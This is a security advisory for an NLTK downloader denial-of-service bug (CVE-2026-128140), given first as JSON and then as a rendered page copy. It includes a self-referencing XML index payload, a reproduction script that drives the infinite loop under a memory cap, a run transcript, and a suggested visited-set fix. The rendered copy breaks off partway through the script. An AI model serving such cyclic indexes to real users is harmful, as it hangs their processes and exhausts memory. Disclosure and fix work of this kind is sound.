"key": "pkg:pypi/nltk@3.10.4",
"name": "nltk",
"resource": "nltk",
"strategy": "registry",
"subject_version": "3.10.4"
}
]
},
"details": "\u003e **affected**: PyPI `nltk` `\u003e= 3.6.7` \u2014 `nltk.downloader` index parsing (`Downloader._update_index`)\n\u003e **dynamically reproduced**: `nltk` `3.6.7` (4/4 checks), `3.9.2` (4/4), `3.10.3` (4/4), and `develop` `6818767b9` (4/4)\n\n---\n\n_Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`)._\n\n### Summary\n\n`Downloader._update_index` (`nltk/downloader.py:1253-1313`) is the mandatory first step of every downloader operation (`download()`, `info()`, `packages()`, `collections()`, `list()`, `status()`). After replacing each `\u003citem ref=\"\u2026\"\u003e` string with the actual `Collection`/`Package` object (`downloader.py:1285-1290`), it computes each collection\u0027s recursive package closure with a breadth-first walk that has **no visited set and no depth cap**:\n\n```python\n# nltk/downloader.py:1300-1310\nfor collection in self._collections.values():\n packages = {}\n queue = [collection]\n for child in queue:\n if isinstance(child, Collection):\n queue.extend(child.children)\n elif isinstance(child, Package):\n packages[child.id] = child\n collection.packages = packages.values()\n```\n\n**A self-referencing or mutually-referencing index \u2014 e.g. `\u003ccollection id=\"a\"\u003e\u003citem ref=\"a\"/\u003e\u003c/collection\u003e` \u2014 turns `a.children` into an object-level cycle, and the `for child in queue: queue.extend(child.children)` loop appends to the very list it is iterating, so the queue grows forever.** The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size \u2014 only its self-reference is abnormal, and nothing validates it.\n\n### Details\n\nRoot cause is the combination of three unguarded steps:\n\n1. `Collection.fromxml` (`nltk/downloader.py:362-369`) stores each `\u003citem ref=\"\u2026\"\u003e` attribute verbatim as a string. It never checks whether a ref targets the collection\u0027s own id, or participates in a reference cycle.\n2. `_update_index` (`nltk/downloader.py:1285-1290`) replaces those ref strings with the live objects from `self._collections` / `self._packages`. A self- or mutual-reference therefore becomes an object-level cycle in `children`.\n3. The closure walk (`nltk/downloader.py:1300-1310`) iterates `for child in queue` while doing `queue.extend(child.children)` inside the loop. Python\u0027s list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no `visited` set, no node-count cap, and no cycle detection.\n\nThe input is the data-server index that the downloader is designed to fetch and trust: `_update_index` pulls it with `safe_parse(urlopen(self._url))` (`nltk/downloader.py:1269-1271`) and parses `\u003ccollections\u003e/\u003ccollection\u003e` elements with no structural validation. The index URL is a user-configurable product feature (`server_index_url` constructor argument, CLI `-u` / `--url` at `downloader.py:3052-3058` \u2014 the option\u0027s `dest` is `server_index_url` \u2014 plus `NLTK_DOWNLOAD_URL` and the Shell/GUI \"Set Server URL\"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.\n\n### PoC\n\nThe self-checking reproduction script embedded below runs the attack against a `file://`-hosted index (no network server needed; the hardened `nltk.pathsec.urlopen` accepts local `file://` URLs) and a matching acyclic control index, in **separate child processes under an address-space cap (`RLIMIT_AS`)**. That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process \u2014 the same function, the same caller, the same finite 2-entry index \u2014 cannot finish and is aborted by `MemoryError` at `queue.extend(child.children)`, proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.\n\n**Scope note**: dynamically verified on the released `3.6.7`, `3.9.2`, and `3.10.3` wheels and on `develop` `6818767b9`. `3.6.0`\u2013`3.6.6` share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates `3.6` and earlier releases were not assessed.\n\nEnvironment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.\n\nLive transcript (recorded run on the `nltk` `3.10.3` wheel; the `3.6.7`, `3.9.2`, and `develop` `6818767b9` runs produce the same 4/4 result, differing only in the `downloader.py` line number in the traceback \u2014 `987`, `972`, and `1305` respectively \u2014 and the elapsed time):\n\n```\n[PASS] precondition: cyclic index has a self-referencing \u003ccollection\u003e (ref=\u0027a\u0027 inside \u003ccollection id=\u0027a\u0027\u003e)\n[PASS] precondition: acyclic control index references only packages\n[control] returned rc=0 in 0.2s\n[PASS] control: Downloader.packages() returned (no hang)\n[PASS] control: _packages parsed = [\u0027p1\u0027]\n[PASS] control: collection \u0027a\u0027 closure = [\u0027p1\u0027] (finite, as documented)\n[PASS] control: acyclic index completes and yields the documented finite closure (rc=0)\n[attack] rc=1 after 6.6s\n[attack] entering Downloader.packages() on the self-referencing index ...\nTraceback (most recent call last):\n File \"\u003cstring\u003e\", line 38, in \u003cmodule\u003e\n File \"nltk/downloader.py\", line 627, in packages\n self._update_index()\n File \"nltk/downloader.py\", line 1305, in _update_index\n queue.extend(child.children)\nMemoryError\n[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError)\nnltk under test: 3.10.3\nRESULT 4/4 checks passed, 0 failed\n```\n\nThe malicious index is exactly:\n\n```xml\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Cyclic collection\"\u003e\n \u003citem ref=\"a\"/\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n```\n\n### Impact\n\n- **Type**: CWE-835 / CWE-400 \u2014 denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.\n- **Who is impacted**: any deployment that uses `nltk.downloader` (directly, via `nltk.download()`, or through the Shell/GUI) against an index URL it does not fully control \u2014 third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM\u0027d. Every entry point (`download()`, `info()`, `packages()`, `collections()`, `status()`) funnels through `_update_index` and is blocked.\n- **Attacker requirements**: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.\n- **Effect**: the process is permanently wedged in the closure BFS \u2014 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running `nltk.download()` in a script or service turns a single poisoned index into an unresolvable hang.\n\n**Suggested fix**: add a `visited` set to the closure BFS so each `Collection` is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:\n\n```python\nfor collection in self._collections.values():\n packages = {}\n queue = [collection]\n seen = set()\n for child in queue:\n if isinstance(child, Collection):\n if child.id in seen:\n continue\n seen.add(child.id)\n queue.extend(child.children)\n elif isinstance(child, Package):\n packages[child.id] = child\n collection.packages = packages.values()\n```\n\nDefense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic `ref` chains in `Collection.fromxml` / during the ref-replacement at `downloader.py:1285-1290`) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts `packages()`/`info()` terminate and either skip or reject the cycle.\n\n---\n\n### Reproduction script (self-contained)\n\n```python\n#!/usr/bin/env python3\n\"\"\"Self-checking reproduction: a cyclic collection index makes\n``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.\n\nAttack: an index XML whose ``\u003ccollection\u003e`` references itself (or a mutual\ncycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``\nstrings with real ``Collection`` objects. The package-closure walk\n(``for child in queue: ... queue.extend(child.children)``) has no visited set\nand no depth cap, so the queue grows forever and the function never returns.\n\nControls:\n * an acyclic index of the same shape completes and yields the expected\n closure (the same function, the same caller, under the same memory cap);\n * the attack never returns normally: it either keeps running past a hard\n timeout (observed hang) or is aborted by the child\u0027s address-space cap\n (unbounded memory growth) -- in both cases the exact finite input that the\n control handles instantly cannot be completed.\n\nUsage:\n python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]\n\nEnvironment:\n NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is\n installed into a scratch dir and put on PYTHONPATH for the\n verification children.\n NLTK_TIMEOUT hard timeout seconds for each child (default: 60).\n MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be\n passed as the first positional argument.\n\"\"\"\n\nimport os\nimport resource\nimport subprocess\nimport sys\nimport tempfile\nimport textwrap\nimport time\nfrom xml.etree import ElementTree\n\ndef _default_memcap():\n if len(sys.argv) \u003e 1 and sys.argv[1] != \"--child\":\n raw = sys.argv[1]\n else:\n raw = os.environ.get(\"MEMCAP_MIB\", \"512\")\n try:\n value = int(raw)\n except (TypeError, ValueError):\n print(\"warning: invalid MEMCAP_MIB %r, falling back to 512\" % raw, file=sys.stderr)\n return \"512\"\n return str(value) if value \u003e 0 else \"512\"\n\n\nMEMCAP_MIB = int(_default_memcap())\nCHILD_TIMEOUT = float(os.environ.get(\"NLTK_TIMEOUT\", \"60\"))\n\nCYCLIC_INDEX = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Cyclic collection\"\u003e\n \u003citem ref=\"a\"/\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n\"\"\"\n\nACYCLIC_INDEX = \"\"\"\u003c?xml version=\"1.0\"?\u003e\n\u003cindex\u003e\n \u003cpackages\u003e\n \u003cpackage id=\"p1\" name=\"Sample corpus\" subdir=\"corpora/p1\"\n url=\"http://example.invalid/p1.zip\" unzip=\"0\" size=\"0\" unzipped_size=\"0\"/\u003e\n \u003c/packages\u003e\n \u003ccollections\u003e\n \u003ccollection id=\"a\" name=\"Acyclic collection\"\u003e\n \u003citem ref=\"p1\"/\u003e\n \u003c/collection\u003e\n \u003c/collections\u003e\n\u003c/index\u003e\n\"\"\"\n\nCHILD_DRIVER = r\"\"\"\nimport os\nimport resource\nimport sys\n\nimport nltk\nimport nltk.data as nltk_data\n\nmode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]\n\n# Allow the local index file to be read under hardened pathsec (ENFORCE mode).\nnltk_data.path.append(workdir)\n\ncap = int(os.environ[\"NLTK_CHILD_MEMCAP_MIB\"]) * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (cap, cap))\n\nfrom nltk.downloader import Downloader\n\ndownloader = Downloader(server_index_url=url)\n\nif mode == \"control\":\n # _update_index() runs to completion here; the acyclic closure is finite.\n packages = list(downloader.packages())\n ids = sorted(p.id for p in packages)\n print(\"[PASS] control: Downloader.packages() returned (no hang)\")\n assert ids == [\"p1\"], ids\n print(\"[PASS] control: _packages parsed = %r\" % ids)\n col = next(c for c in downloader.collections() if c.id == \"a\")\n closure = sorted(p.id for p in col.packages)\n assert closure == [\"p1\"], closure\n print(\"[PASS] control: collection \u0027a\u0027 closure = %r (finite, as documented)\" % closure)\n sys.exit(0)\nelif mode == \"attack\":\n # This call drives _update_index -\u003e the collection-closure BFS. The index\n # collection self-references itself, so the BFS never terminates; the queue\n # keeps growing until the address-space cap aborts the process.\n print(\"[attack] entering Downloader.packages() on the self-referencing index ...\")\n _ = downloader.packages()\n print(\"[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered\")\n sys.exit(2)\nelse:\n print(\"[FAIL] unknown mode %r\" % mode)\n sys.exit(2)\n\"\"\"\n\n\ndef build_site_env(workdir):\n \"\"\"Return (env, site_path_or_None) so the children can import nltk.\"\"\"\n probe = subprocess.run(\n [sys.executable, \"-c\", \"import nltk\"],\n capture_output=True,\n )\n if probe.returncode == 0:\n return dict(os.environ), None\n wheel = os.environ.get(\"NLTK_WHEEL\")\n if not wheel:\n return None, None\n site = os.path.join(workdir, \"site\")\n subprocess.run(\n [sys.executable, \"-m\", \"pip\", \"install\", \"--quiet\", \"--target\", site, wheel],\n check=True,\n )\n env = dict(os.environ)\n env[\"PYTHONPATH\"] = site + (os.pathsep + env[\"PYTHONPATH\"] if env.get(\"PYTHONPATH\") else \"\")\n return env, site\n\n\ndef run_child(env, script, mode, url, workdir):\n cmd = [sys.executable, script, \"--child\", mode, url, workdir]\n start = time.monotonic()\n try:\n proc = subprocess.run(\n cmd,\n env=env,\n capture_output=True,\n text=True,\n timeout=CHILD_TIMEOUT,\n )\n timed_out = False\n except subprocess.TimeoutExpired as exc:\n proc = exc\n timed_out = True\n elapsed = time.monotonic() - start\n stdout = proc.stdout if hasattr(proc, \"stdout\") else \"\"\n stderr = proc.stderr if hasattr(proc, \"stderr\") else \"\"\n return timed_out, getattr(proc, \"returncode\", None), stdout, stderr, elapsed\n\n\ndef main():\n results = []\n\n def check(name, cond, detail=\"\"):\n results.append(bool(cond))\n print(\"[%s] %s%s\" % (\"PASS\" if cond else \"FAIL\", name, (\" (%s)\" % detail if detail else \"\")))\n\n with tempfile.TemporaryDirectory(prefix=\"nltk_cycle_\") as workdir:\n cyclic_path = os.path.join(workdir, \"index_cyclic.xml\")\n acyclic_path = os.path.join(workdir, \"index_acyclic.xml\")\n with open(cyclic_path, \"w\") as fh:\n fh.write(CYCLIC_INDEX)\n with open(acyclic_path, \"w\") as fh:\n fh.write(ACYCLIC_INDEX)\n cyclic_url = \"file://\" + cyclic_path\n acyclic_url = \"file://\" + acyclic_path\n\n # --- Input modeling preconditions -------------------------------\n cyc = ElementTree.parse(cyclic_path).getroot()\n col = cyc.find(\"collections/collection\")\n check(\n \"precondition: cyclic index has a self-referencing \u003ccollection\u003e\",\n col is not None and col.get(\"id\") == \"a\"\n and any((it.get(\"ref\") == \"a\" for it in col.findall(\"item\"))),\n \"ref=\u0027a\u0027 inside \u003ccollection id=\u0027a\u0027\u003e\",\n )\n acy = ElementTree.parse(acyclic_path).getroot()\n cola = acy.find(\"collections/collection\")\n check(\n \"precondition: acyclic control index references only packages\",\n cola is not None and [it.get(\"ref\") for it in cola.findall(\"item\")] == [\"p1\"],\n )\n\n env, site = build_site_env(workdir)\n if env is None:\n print(\"FAIL: nltk is not importable and NLTK_WHEEL is unset\", file=sys.stderr)\n return 1\n child_env = dict(env)\n child_env[\"NLTK_CHILD_MEMCAP_MIB\"] = str(MEMCAP_MIB)\n\n # --- Control: acyclic index completes under the same memory cap ---\n t, rc, out, err, el = run_child(child_env, __file__, \"control\", acyclic_url, workdir)\n print(\"[control] returned rc=%s in %.1fs%s\" % (rc, el, \" (TIMEOUT)\" if t else \"\"))\n if out:\n print(out, end=\"\")\n if err:\n print(err, end=\"\")\n check(\n \"control: acyclic index completes and yields the documented finite closure\",\n (not t) and rc == 0 and \"collection \u0027a\u0027 closure = [\u0027p1\u0027]\" in (out + err),\n \"rc=%s\" % rc,\n )\n\n # --- Attack: cyclic index must NOT complete ----------------------\n t, rc, out, err, el = run_child(child_env, __file__, \"attack\", cyclic_url, workdir)\n print(\"[attack] rc=%s after %.1fs%s\" % (rc, el, \" (still running at timeout)\" if t else \"\"))\n if out:\n print(out, end=\"\")\n if err:\n print(err, end=\"\")\n if t:\n check(\n \"attack: self-referencing index hangs _update_index past the %ss timeout\" % CHILD_TIMEOUT,\n True,\n \"process still running, queue growing unboundedly\",\n )\n elif rc is not None and rc != 0:\n memory = \"MemoryError\" in (out + err) or \"MemoryError\" in err\n check(\n \"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)\" % MEMCAP_MIB,\n memory,\n \"rc=%s, %s\" % (rc, \"MemoryError\" if memory else \"non-zero exit\"),\n )\n else:\n check(\n \"attack: self-referencing index hangs _update_index (vulnerability reproduced)\",\n False,\n \"function returned -- cyclic input was handled\",\n )\n\n # --- Version banner ---------------------------------------------\n ver_out = subprocess.run(\n [sys.executable, \"-c\", \"import nltk; print(nltk.__version__)\"],\n env=env,\n capture_output=True,\n text=True,\n ).stdout.strip()\n print(\"nltk under test: %s\" % (ver_out or \"unknown\"))\n\n passed = sum(results)\n failed = len(results) - passed\n print(\"RESULT %d/%d checks passed, %d failed\" % (passed, len(results), failed))\n return 0 if failed == 0 else 1\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) \u003e= 2 and sys.argv[1] == \"--child\":\n os.execv(sys.executable, [sys.executable, \"-c\", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])\n sys.exit(main())\n```\n\n\n## Fix status (2026-09-28)\n\nStatus: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).\n\nPR: #3767 \"Prevent infinite loop from cyclic collection indices\" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).\n\nProbe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).\n\nRelease: none yet; no release tag contains b77d329db.",
"id": "BREW-gptline-CVE-2026-128140",
"modified": "2026-11-24T10:41:34Z",
"published": "2026-11-24T10:41:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-128140"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3767"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.4"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "NLTK: Downloader cyclic collection indices cause an infinite closure walk",
"upstream": [
"GHSA-pcm8-fqjx-rvx8",
"CVE-2026-128140"
]
}
BREW-SAFETY-CVE-2026-128140 (GHSA-PCM8-FQJX-RVX8)
Vulnerability from osv_homebrew – Published: 2026-11-21 09:08 – Updated: 2026-11-21 09:08 – Source websiteaffected: PyPI
nltk>= 3.6.7—nltk.downloaderindex parsing (Downloader._update_index) dynamically reproduced:nltk3.6.7(4/4 checks),3.9.2(4/4),3.10.3(4/4), anddevelop6818767b9(4/4)
Source references (nltk/downloader.py:NNN) are to commit 6818767b9 (develop, v3.10.3-15-g6818767b9). The v3.10.3 tag and the released 3.10.3 wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at downloader.py:1300-1310). Dynamically verified wheels additionally show the same defect at downloader.py:972 (3.9.2) and downloader.py:987 (3.6.7).
Summary
Downloader._update_index (nltk/downloader.py:1253-1313) is the mandatory first step of every downloader operation (download(), info(), packages(), collections(), list(), status()). After replacing each <item ref="…"> string with the actual Collection/Package object (downloader.py:1285-1290), it computes each collection's recursive package closure with a breadth-first walk that has no visited set and no depth cap:
# nltk/downloader.py:1300-1310
for collection in self._collections.values():
packages = {}
queue = [collection]
for child in queue:
if isinstance(child, Collection):
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()
A self-referencing or mutually-referencing index — e.g. <collection id="a"><item ref="a"/></collection> — turns a.children into an object-level cycle, and the for child in queue: queue.extend(child.children) loop appends to the very list it is iterating, so the queue grows forever. The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.
Details
Root cause is the combination of three unguarded steps:
Collection.fromxml(nltk/downloader.py:362-369) stores each<item ref="…">attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle._update_index(nltk/downloader.py:1285-1290) replaces those ref strings with the live objects fromself._collections/self._packages. A self- or mutual-reference therefore becomes an object-level cycle inchildren.- The closure walk (
nltk/downloader.py:1300-1310) iteratesfor child in queuewhile doingqueue.extend(child.children)inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is novisitedset, no node-count cap, and no cycle detection.
The input is the data-server index that the downloader is designed to fetch and trust: _update_index pulls it with safe_parse(urlopen(self._url)) (nltk/downloader.py:1269-1271) and parses <collections>/<collection> elements with no structural validation. The index URL is a user-configurable product feature (server_index_url constructor argument, CLI -u / --url at downloader.py:3052-3058 — the option's dest is server_index_url — plus NLTK_DOWNLOAD_URL and the Shell/GUI "Set Server URL"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.
PoC
The self-checking reproduction script embedded below runs the attack against a file://-hosted index (no network server needed; the hardened nltk.pathsec.urlopen accepts local file:// URLs) and a matching acyclic control index, in separate child processes under an address-space cap (RLIMIT_AS). That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by MemoryError at queue.extend(child.children), proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.
Scope note: dynamically verified on the released 3.6.7, 3.9.2, and 3.10.3 wheels and on develop 6818767b9. 3.6.0–3.6.6 share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates 3.6 and earlier releases were not assessed.
Environment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.
Live transcript (recorded run on the nltk 3.10.3 wheel; the 3.6.7, 3.9.2, and develop 6818767b9 runs produce the same 4/4 result, differing only in the downloader.py line number in the traceback — 987, 972, and 1305 respectively — and the elapsed time):
[PASS] precondition: cyclic index has a self-referencing <collection> (ref='a' inside <collection id='a'>)
[PASS] precondition: acyclic control index references only packages
[control] returned rc=0 in 0.2s
[PASS] control: Downloader.packages() returned (no hang)
[PASS] control: _packages parsed = ['p1']
[PASS] control: collection 'a' closure = ['p1'] (finite, as documented)
[PASS] control: acyclic index completes and yields the documented finite closure (rc=0)
[attack] rc=1 after 6.6s
[attack] entering Downloader.packages() on the self-referencing index ...
Traceback (most recent call last):
File "<string>", line 38, in <module>
File "nltk/downloader.py", line 627, in packages
self._update_index()
File "nltk/downloader.py", line 1305, in _update_index
queue.extend(child.children)
MemoryError
[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError)
nltk under test: 3.10.3
RESULT 4/4 checks passed, 0 failed
The malicious index is exactly:
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>
Impact
- Type: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.
- Who is impacted: any deployment that uses
nltk.downloader(directly, vianltk.download(), or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (download(),info(),packages(),collections(),status()) funnels through_update_indexand is blocked. - Attacker requirements: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.
- Effect: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running
nltk.download()in a script or service turns a single poisoned index into an unresolvable hang.
Suggested fix: add a visited set to the closure BFS so each Collection is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:
for collection in self._collections.values():
packages = {}
queue = [collection]
seen = set()
for child in queue:
if isinstance(child, Collection):
if child.id in seen:
continue
seen.add(child.id)
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()
Defense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic ref chains in Collection.fromxml / during the ref-replacement at downloader.py:1285-1290) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts packages()/info() terminate and either skip or reject the cycle.
Reproduction script (self-contained)
#!/usr/bin/env python3
"""Self-checking reproduction: a cyclic collection index makes
``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.
Attack: an index XML whose ``<collection>`` references itself (or a mutual
cycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``
strings with real ``Collection`` objects. The package-closure walk
(``for child in queue: ... queue.extend(child.children)``) has no visited set
and no depth cap, so the queue grows forever and the function never returns.
Controls:
* an acyclic index of the same shape completes and yields the expected
closure (the same function, the same caller, under the same memory cap);
* the attack never returns normally: it either keeps running past a hard
timeout (observed hang) or is aborted by the child's address-space cap
(unbounded memory growth) -- in both cases the exact finite input that the
control handles instantly cannot be completed.
Usage:
python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]
Environment:
NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is
installed into a scratch dir and put on PYTHONPATH for the
verification children.
NLTK_TIMEOUT hard timeout seconds for each child (default: 60).
MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be
passed as the first positional argument.
"""
import os
import resource
import subprocess
import sys
import tempfile
import textwrap
import time
from xml.etree import ElementTree
def _default_memcap():
if len(sys.argv) > 1 and sys.argv[1] != "--child":
raw = sys.argv[1]
else:
raw = os.environ.get("MEMCAP_MIB", "512")
try:
value = int(raw)
except (TypeError, ValueError):
print("warning: invalid MEMCAP_MIB %r, falling back to 512" % raw, file=sys.stderr)
return "512"
return str(value) if value > 0 else "512"
MEMCAP_MIB = int(_default_memcap())
CHILD_TIMEOUT = float(os.environ.get("NLTK_TIMEOUT", "60"))
CYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>
"""
ACYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Acyclic collection">
<item ref="p1"/>
</collection>
</collections>
</index>
"""
CHILD_DRIVER = r"""
import os
import resource
import sys
import nltk
import nltk.data as nltk_data
mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]
# Allow the local index file to be read under hardened pathsec (ENFORCE mode).
nltk_data.path.append(workdir)
cap = int(os.environ["NLTK_CHILD_MEMCAP_MIB"]) * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (cap, cap))
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=url)
if mode == "control":
# _update_index() runs to completion here; the acyclic closure is finite.
packages = list(downloader.packages())
ids = sorted(p.id for p in packages)
print("[PASS] control: Downloader.packages() returned (no hang)")
assert ids == ["p1"], ids
print("[PASS] control: _packages parsed = %r" % ids)
col = next(c for c in downloader.collections() if c.id == "a")
closure = sorted(p.id for p in col.packages)
assert closure == ["p1"], closure
print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure)
sys.exit(0)
elif mode == "attack":
# This call drives _update_index -> the collection-closure BFS. The index
# collection self-references itself, so the BFS never terminates; the queue
# keeps growing until the address-space cap aborts the process.
print("[attack] entering Downloader.packages() on the self-referencing index ...")
_ = downloader.packages()
print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered")
sys.exit(2)
else:
print("[FAIL] unknown mode %r" % mode)
sys.exit(2)
"""
def build_site_env(workdir):
"""Return (env, site_path_or_None) so the children can import nltk."""
probe = subprocess.run(
[sys.executable, "-c", "import nltk"],
capture_output=True,
)
if probe.returncode == 0:
return dict(os.environ), None
wheel = os.environ.get("NLTK_WHEEL")
if not wheel:
return None, None
site = os.path.join(workdir, "site")
subprocess.run(
[sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel],
check=True,
)
env = dict(os.environ)
env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "")
return env, site
def run_child(env, script, mode, url, workdir):
cmd = [sys.executable, script, "--child", mode, url, workdir]
start = time.monotonic()
try:
proc = subprocess.run(
cmd,
env=env,
capture_output=True,
text=True,
timeout=CHILD_TIMEOUT,
)
timed_out = False
except subprocess.TimeoutExpired as exc:
proc = exc
timed_out = True
elapsed = time.monotonic() - start
stdout = proc.stdout if hasattr(proc, "stdout") else ""
stderr = proc.stderr if hasattr(proc, "stderr") else ""
return timed_out, getattr(proc, "returncode", None), stdout, stderr, elapsed
def main():
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
